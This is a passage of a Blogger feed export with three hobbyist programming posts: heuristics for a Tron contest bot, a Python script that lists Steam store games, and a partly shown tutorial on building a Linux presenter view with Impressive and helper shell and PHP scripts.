/&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="320" src="http://static.macuyiko.com/files/tronbot/easybot_win.gif" width="271" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;A final search on Google code turns up some source code written for an &lt;strong&gt;AI class at Rutgers University&lt;/strong&gt;. They provide &lt;a href="http://code.google.com/p/tron/source/browse/trunk/Tron/Tron/Players/" target="new"&gt;C# code&lt;/a&gt; for different players and strategies, including a &lt;a href="http://code.google.com/p/tron/source/browse/trunk/Tron/Tron/Players/Search/IDSMiniMaxSearchPlayer.cs" target="new"&gt;minimax&lt;/a&gt; player.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;...but we're not using minimax&lt;/h3&gt;&lt;br /&gt;On a random hunch I decided to try writing a bot without using minimax. I wanted to see how far I would get with (simple) heuristics and sound thinking.&lt;br /&gt;&lt;br /&gt;A first sketch of the battle plan looked like this:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;- If we're seperated, use a quick but fairly good way to make good use of our available space&lt;br /&gt;- If we're not seperated:&lt;br /&gt;&amp;nbsp;&amp;nbsp;- If there's a move which does seperate us&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- And will result in us having more space&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Make that move&lt;br /&gt;&amp;nbsp;&amp;nbsp;- Otherwise: move towards the opponent&lt;br /&gt;- Avoid draws if possible:&lt;br /&gt;&amp;nbsp;&amp;nbsp;- Try your hardest to avoid a crash with the opponent if the opponent has no other spaces left to go&lt;br /&gt;&amp;nbsp;&amp;nbsp;- If the opponent does have other spaces to go to, avoid a draw if it doesn't negatively impact us&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Surprisingly, this code was working fairly well... A minute later I had implemented a small improvement:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;- If we're seperated, use a quick but fairly good way to make good use of our available space&lt;br /&gt;- If we're not seperated:&lt;br /&gt;&amp;nbsp;&amp;nbsp;- If there's a move which does seperate us&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- And will result in us having more space&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Make that move&lt;br /&gt;&amp;nbsp;&amp;nbsp;- Otherwise: move towards the opponent:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;strong&gt;- Do not use euclidean distances but use a shortest path, this ensures the bast way to reach our opponent&lt;/strong&gt;&lt;br /&gt;- Avoid draws if possible:&lt;br /&gt;&amp;nbsp;&amp;nbsp;- Try your hardest to avoid a crash with the opponent if the opponent has no other spaces left to go&lt;br /&gt;&amp;nbsp;&amp;nbsp;- If the opponent does have other spaces to go to, avoid a draw if it doesn't negatively impact us&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;And as a final edge, I added:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;- If we're seperated, use a quick but fairly good way to make good use of our available space&lt;br /&gt;- If we're not seperated:&lt;br /&gt;&amp;nbsp;&amp;nbsp;- If there's a move which does seperate us&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- And will result in us having more space&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Make that move&lt;br /&gt;&amp;nbsp;&amp;nbsp;- Otherwise: move towards the opponent:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Do not use euclidean distances but use a shortest path, this ensures the bast way to reach our opponent&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;- Check in all four directions: where is the nearest wall?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- What would happen if we go to this wall, would this seperate us from our opponent?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- And would we get more moves in our space?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- And can we get to that wall faster than our opponent?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Go to that wall and trap him!&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;- Avoid draws if possible:&lt;br /&gt;&amp;nbsp;&amp;nbsp;- Try your hardest to avoid a crash with the opponent if the opponent has no other spaces left to go&lt;br /&gt;&amp;nbsp;&amp;nbsp;- If the opponent does have other spaces to go to, avoid a draw if it doesn't negatively impact us&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Thanks to this trick, when we're faced with a situation like this (we're blue):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WsnYy8aZI/AAAAAAAAPT8/IBkQaO42Wxk/s1600-h/towall1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WsnYy8aZI/AAAAAAAAPT8/IBkQaO42Wxk/s1600/towall1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;We will react accordingly:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WsvEZpLcI/AAAAAAAAPUA/ouLKlXKGVME/s1600-h/towall2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WsvEZpLcI/AAAAAAAAPUA/ouLKlXKGVME/s1600/towall2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;blockquote&gt;"Ha ha, trapped you..."&lt;/blockquote&gt;This rudimentary bot has been doing very well and even scored in the top 30 for some time (alas, the ranking graphs have been taken offline, otherwise I would embed it here). However, a lot of players have been improving their code lately, causing me to drop back in the 100s.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Some peculiar problems&lt;/h3&gt;&lt;br /&gt;Lately I've been observing some interesting cases which can occur. You could call the first one the &lt;strong&gt;chamber&lt;/strong&gt; or &lt;strong&gt;gateway problem&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;Take the following map (we're blue):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Ws5A_cLKI/AAAAAAAAPUE/X4p_zCk7lXo/s1600-h/gateway1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Ws5A_cLKI/AAAAAAAAPUE/X4p_zCk7lXo/s320/gateway1.png" width="308" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Since moving to the left would not seperate us from the opponent (he can still reach us by going around below), the old code would make us close in on him by going right:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WtB5HU3-I/AAAAAAAAPUI/OjD4-smFdv8/s1600-h/gateway2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WtB5HU3-I/AAAAAAAAPUI/OjD4-smFdv8/s320/gateway2.png" width="304" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;However, once this happened, smarter opponent bots would rush to the little hole:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/S4WtGHcNgLI/AAAAAAAAPUM/aTKWxvJm0x0/s1600-h/gateway3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/S4WtGHcNgLI/AAAAAAAAPUM/aTKWxvJm0x0/s320/gateway3.png" width="307" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;blockquote&gt;"Drats! I'm trapped now."&lt;/blockquote&gt;Remember the definition of&amp;nbsp;articulation vertices above?&amp;nbsp;A final check I implemented looks at those little "gateways" and checks if our opponent can reach those faster than us, and if this would result in us being blocked off with less moves. If such a gateway exists, it's better to go the other way.&lt;br /&gt;&lt;br /&gt;A nice example (on a difficult map) of the bot in action, the map starts of like this (we're blue):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WtNhEhMeI/AAAAAAAAPUQ/61UWWeuGw8M/s1600-h/gatewaydemo1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WtNhEhMeI/AAAAAAAAPUQ/61UWWeuGw8M/s320/gatewaydemo1.png" width="271" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;A few moves later, and our bot has to make a choice:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WtTblJCeI/AAAAAAAAPUU/nMOO5a37Pts/s1600-h/gatewaydemo2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WtTblJCeI/AAAAAAAAPUU/nMOO5a37Pts/s320/gatewaydemo2.png" width="271" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;It avoids the bad choice, as does our opponent. Not that the old version of the code would move us closer towards our opponent as well, as there is now possible seperating move. (You might think that moving left seperated us from our opponent, but this is only the case when our opponent is stupid enough to move right. Our bot now avoids "being trapped in a little box together".)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WtWrP1lxI/AAAAAAAAPUY/Otzo_mjZUuU/s1600-h/gatewaydemo3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WtWrP1lxI/AAAAAAAAPUY/Otzo_mjZUuU/s320/gatewaydemo3.png" width="271" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;A few moves later, and we make a choice again:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WtZzxjE5I/AAAAAAAAPUc/A_-fQpDhWp8/s1600-h/gatewaydemo4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WtZzxjE5I/AAAAAAAAPUc/A_-fQpDhWp8/s320/gatewaydemo4.png" width="271" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Again, we pick the best choice, and a few moves later:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WtdenaCwI/AAAAAAAAPUg/1P4KCPsud2c/s1600-h/gatewaydemo5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WtdenaCwI/AAAAAAAAPUg/1P4KCPsud2c/s320/gatewaydemo5.png" width="271" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;This is a sure win.&lt;br /&gt;&lt;br /&gt;A second problem deals with avoiding &lt;strong&gt;obvious stupid mistakes&lt;/strong&gt;. The following game demonstrates some good fighting between the two players, but at the end, my bot (red, don't worry, the gifs are repeating) makes a horrible mistake:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="320" src="http://static.macuyiko.com/files/tronbot/stupidmistake.gif" width="271" /&gt;&lt;/div&gt;&lt;br /&gt;I modified the code once more to avoid this situation.&lt;br /&gt;&lt;br /&gt;You could call the last problem the &lt;strong&gt;game of chicken&lt;/strong&gt; problem. If you don't know what the game of chicken is, the description from &lt;a href="http://en.wikipedia.org/wiki/Chicken_(game)" target="new"&gt;Wikipedia&lt;/a&gt; might help:&lt;br /&gt;&lt;blockquote&gt;The name "Chicken" has its origins in a game in which two drivers drive towards each other on a collision course: one must swerve, or both may die in the crash, but if one driver swerves and the other does not, the one who swerved will be called a "chicken," meaning a coward; this terminology is most prevalent in political science and economics.&lt;/blockquote&gt;The following game demonstrates the problem:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="320" src="http://static.macuyiko.com/files/tronbot/chicken.gif" width="271" /&gt;&lt;/div&gt;&lt;br /&gt;Can you see what's happening here? The blue player plays it safe and moves out of the way early on. However, this causes the red player to end up with more space. If one of them moves out of the way, the other one wins. If they both don't move, they draw. Figuring out when to crash (and draw), or when it's better to move is a difficult challenge, especially for minimax strategies which often try to play it safe, as shown above.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;In conclusion&lt;/h3&gt;&lt;br /&gt;Many strategies I've discussed before and others are posted on the &lt;a href="http://csclub.uwaterloo.ca/contest/forums/viewforum.php?f=8" target="new"&gt;contest's forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Let's look at a few more games to close things off...&lt;br /&gt;&lt;br /&gt;In this game: my bot (blue) loses, but it puts up a good fight:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="320" src="http://static.macuyiko.com/files/tronbot/final1.gif" width="271" /&gt;&lt;/div&gt;&lt;br /&gt;Here is a game where our bot does well. The opponent moves upwards and our bot confidently moves forward, trapping him in less space:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="320" src="http://static.macuyiko.com/files/tronbot/final2.gif" width="271" /&gt;&lt;/div&gt;&lt;br /&gt;In this game, our opponent "chickens out" and moves away from us. We use this opportunity to trap him, knowing that we can use more space. Once trapped, the opponent doesn't use his space optimally as well:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="320" src="http://static.macuyiko.com/files/tronbot/final3.gif" width="271" /&gt;&lt;/div&gt;&lt;br /&gt;All in all this was an interesting and fun journey. My high rankings seem completely behind me though, but I'm glad I tried something different instead of following the obvious road. If you've been trying to write a bot as well: I hope you had a great experience as well, otherwise I hope you've enjoyed reading this little overview. I might talk about minimax and other mentionned topics again some time. Also: I should've started sooner taking a serious look at this contest. I get distracted too quickly :).&lt;br /&gt;&lt;br /&gt;The contest organizers also put together a Youtube video showing some matches. It's interesting to see how bots either try (or fail) to trap each other, and how the use the available space.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/mwDKMiAfxFE&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/mwDKMiAfxFE&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-3236251803995995240?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/3236251803995995240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2010/02/university-of-waterloo-cs-club-tron.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3236251803995995240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3236251803995995240'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/02/university-of-waterloo-cs-club-tron.html' title='The University Of Waterloo CS Club Tron Challenge, And Some Minimax In General'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Wo_DA67QI/AAAAAAAAPTA/ZJSQx6vgOGw/s72-c/image1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-4980910266502973117</id><published>2009-12-31T02:02:00.010+01:00</published><updated>2010-05-16T18:40:36.276+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='steam'/><category scheme='http://www.blogger.com/atom/ns#' term='screen scape'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='test'/><title type='text'>Get A List Of Steam Games</title><content type='html'>&lt;span class="Apple-style-span" style="color: red;"&gt;Update: see &lt;a href="http://blog.macuyiko.com/2010/05/get-list-of-steam-games-as-of-may-2010.html"&gt;here&lt;/a&gt;&amp;nbsp;for a new version which works on the new steam site.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Using Python and &lt;a href="http://www.crummy.com/software/BeautifulSoup/"&gt;Beautiful Soup&lt;/a&gt;. Just a quick (ugly) script thrown together for future reference.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code class="prettyprint lang-py"&gt;from BeautifulSoup import BeautifulSoup&lt;br /&gt;from urllib import urlopen&lt;br /&gt;import re&lt;br /&gt;import codecs&lt;br /&gt;&lt;br /&gt;html_text = urlopen('http://store.steampowered.com/search/?advanced=0&amp;amp;term=&amp;amp;category1=998').read()&lt;br /&gt;soup = BeautifulSoup(html_text)&lt;br /&gt;f = codecs.open('./output.txt', 'w', 'iso-8859-1')&lt;br /&gt;&lt;br /&gt;pages = 1&lt;br /&gt;&lt;br /&gt;print "-- Retrieving number of pages..."&lt;br /&gt;for link in soup.findAll('a', attrs={'href' : re.compile("http://store.steampowered.com/search/\?sort_by=&amp;amp;sort_order=ASC&amp;amp;category1=998&amp;amp;page=\d+")}):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;page = int(link.string)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if page &amp;gt; pages:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pages = page&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;except ValueError:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pass&lt;br /&gt;&lt;br /&gt;print "-- Pages found:",pages&lt;br /&gt;&lt;br /&gt;for page in range(1,pages+1):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print "-- Retrieving page:",page&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;html_text = urlopen('http://store.steampowered.com/search/?sort_by=&amp;amp;sort_order=ASC&amp;amp;category1=998&amp;amp;page='+str(page)).read().decode('iso-8859-1')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;soup = BeautifulSoup(html_text)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for item in soup.findAll('div', attrs={'class' : "global_area_tabs_item_txt"}):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f.write(item.h3.string+'\r\n') &lt;br /&gt;&lt;br /&gt;f.close()&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-4980910266502973117?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/4980910266502973117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/12/get-list-of-steam-games.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4980910266502973117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4980910266502973117'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/12/get-list-of-steam-games.html' title='Get A List Of Steam Games'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-8987428788883290691</id><published>2009-12-05T18:06:00.014+01:00</published><updated>2010-04-16T01:49:25.997+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='presenter view linux ubuntu openoffice impress impressive presenting screen dual'/><title type='text'>Building A Presenter View For Linux</title><content type='html'>Recently I had to give a presentation and wanted to use a "presenter screen", allowing to view a clock, current and next slide, and slide notes on my laptop screen. Of course, the audience only sees the current slide fullscreened on the projector screen.&lt;br /&gt;&lt;br /&gt;Powerpoint comes with this option built-in, but Openoffice users are out of luck. There's a &lt;a href="http://wiki.services.openoffice.org/wiki/Presenter_Screen"&gt;presenter screen plugin&lt;/a&gt; in development, which works fine if you're using a recent version of Openoffice. I couldn't get it to work on my machine, however (I use xrandr to configure my dual screens). Users in &lt;a href="http://user.services.openoffice.org/en/forum/viewtopic.php?f=10&amp;amp;t=23863&amp;amp;start=0"&gt;this forum&lt;/a&gt; report that Ubuntu requires some fiddling with the display options or installing Sun's packaged version of Openoffice. I didn't want to do that.&lt;br /&gt;&lt;br /&gt;Instead I opted to use Impressive - a Python-powered presenter with some unique features (OpenGL transitions, zoom, spotlight, overview page,...). It also provides an option to Python-script you presentation. We will use that to build a custom made presenter screen.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 1: download and test drive Impressive&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Download Impressive from the &lt;a href="http://impressive.sourceforge.net/"&gt;official web page&lt;/a&gt;. Make sure you have Python installed. Extract it somewhere. I extracted mine to &lt;tt&gt;/home/macuyiko/Desktop/Impressive-0.10.2&lt;/tt&gt;.&lt;br /&gt;&lt;br /&gt;Note: you can follow along with the instructions and perform them yourself, or you can read on and download a packaged ZIP-file at the end if this post.&lt;br /&gt;&lt;br /&gt;Test drive Impressive by running the following command in a terminal (make sure you're in the correct directory):&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;macuyiko@seppelaptop:~/Desktop/Impressive-0.10.2$ &lt;b&gt;./impressive.py demo.pdf &lt;/b&gt;&lt;br /&gt;Welcome to Impressive version 0.10.2&lt;br /&gt;./impressive.py:94: DeprecationWarning: the md5 module is deprecated; use hashlib instead&lt;br /&gt; import random, getopt, os, types, re, codecs, tempfile, glob, StringIO, md5, re&lt;br /&gt;Detected screen size: 1024x768 pixels&lt;br /&gt;OpenGL renderer: Mesa DRI Intel(R) 945GM GEM 20090712 2009Q2 RC3 x86/MMX/SSE2&lt;br /&gt;Using GL_ARB_texture_non_power_of_two.&lt;br /&gt;Note: pdftk failed, hyperlinks disabled.&lt;br /&gt;Total presentation time: 0:03.&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Press ESC to close the presentation. Do you see the demo presentation? Good. Take some time to familiarize yourself with the features (they're explained in the demo slide, so you can test them out on the fly.&lt;br /&gt;&lt;br /&gt;Don't worry about the DeprecationWarning and the pdftk error. We won't be using hyperlinks.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 2: prepare our folder structure&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;We'll be doing some housekeeping now. In the Impressive folder (where you extracted into), delete everything except &lt;tt&gt;impressive.py&lt;/tt&gt;.&lt;br /&gt;&lt;br /&gt;Then create a new folder: &lt;tt&gt;Presentation&lt;/tt&gt;.&lt;br /&gt;&lt;br /&gt;In the Presentation-folder, create two new folders: &lt;tt&gt;Slides&lt;/tt&gt; and &lt;tt&gt;Text&lt;/tt&gt;.&lt;br /&gt;&lt;br /&gt;You now have the following folder structure:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/SxqIGELL2AI/AAAAAAAAPRo/RxflM5iPh5o/s1600-h/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/SxqIGELL2AI/AAAAAAAAPRo/RxflM5iPh5o/s320/Screenshot.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Step 3: create support scripts&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;In the top-folder (where impressive.py resides), we'll create some simple support scripts scripts.&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;start.sh&lt;/tt&gt; - a simple script to start our presentation:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;#!/bin/bash&lt;br /&gt;python impressive.py ./Presentation/presentation.pdf&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;tt&gt;clone.sh&lt;/tt&gt; - a simple script to clone our two screens:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;#!/bin/bash&lt;br /&gt;xrandr --output LVDS1 --mode 1024x768 --output VGA1 --same-as LVDS1 --mode 1024x768&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;tt&gt;dual.sh&lt;/tt&gt; - a simple script to enable dualscreen (same resolution, screens above each other, which works best on most configurations):&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;#!/bin/bash&lt;br /&gt;xrandr --output LVDS1 --mode 1024x768 --output VGA1 --above LVDS1 --mode 1024x768&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;tt&gt;converter.sh&lt;/tt&gt; - script to make thumbnails for our presenter view, this needs ImageMagick:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;#!/bin/bash&lt;br /&gt;echo Removing old images...;&lt;br /&gt;rm ./Presentation/Slides/slide-*.png;&lt;br /&gt;echo Converting...;&lt;br /&gt;convert ./Presentation/presentation.pdf -density 100 slide.png&lt;br /&gt;for filename in slide-*.png&lt;br /&gt;do&lt;br /&gt;echo Moving $filename;&lt;br /&gt;mv $filename ./Presentation/Slides/$filename;&lt;br /&gt;done&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;tt&gt;makeinfo.php&lt;/tt&gt; - PHP script to generate our info file Impress will use, needs PHP CLI:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;if (count($argv) != 2)&lt;br /&gt; die ("Provide number of pages\n");&lt;br /&gt;$nrpages = $argv[1];&lt;br /&gt;ob_start();&lt;br /&gt;?&amp;gt;&lt;br /&gt;import json&lt;br /&gt;&lt;br /&gt;def UpdateInfo():&lt;br /&gt;   global FileName, FileList, PageCount&lt;br /&gt;   global DocumentTitle&lt;br /&gt;   global Pcurrent, Pnext, Tcurrent, Tnext, InitialPage&lt;br /&gt;   global RTrunning, RTrestart, StartTime, PageEnterTime, CurrentTime&lt;br /&gt;&lt;br /&gt;   io = open('./Presentation/json.txt', 'w')&lt;br /&gt;   json.dump(({"page_count": PageCount, "current_page": Pcurrent, "previous_page": Pnext, "start_time": StartTime, "pageenter_time": PageEnterTime, "current_time": CurrentTime}), io)&lt;br /&gt;   io.close&lt;br /&gt;&lt;br /&gt;PageProps = {&lt;br /&gt;&amp;lt;?php for($page = 1; $page &amp;lt;= $nrpages; $page++): ?&amp;gt;&lt;br /&gt; &amp;lt;?php echo $page; ?&amp;gt;: {&lt;br /&gt;        'transition': None,&lt;br /&gt;        'OnEnter': UpdateInfo&lt;br /&gt;    },&lt;br /&gt;&amp;lt;?php endfor; ?&amp;gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt; 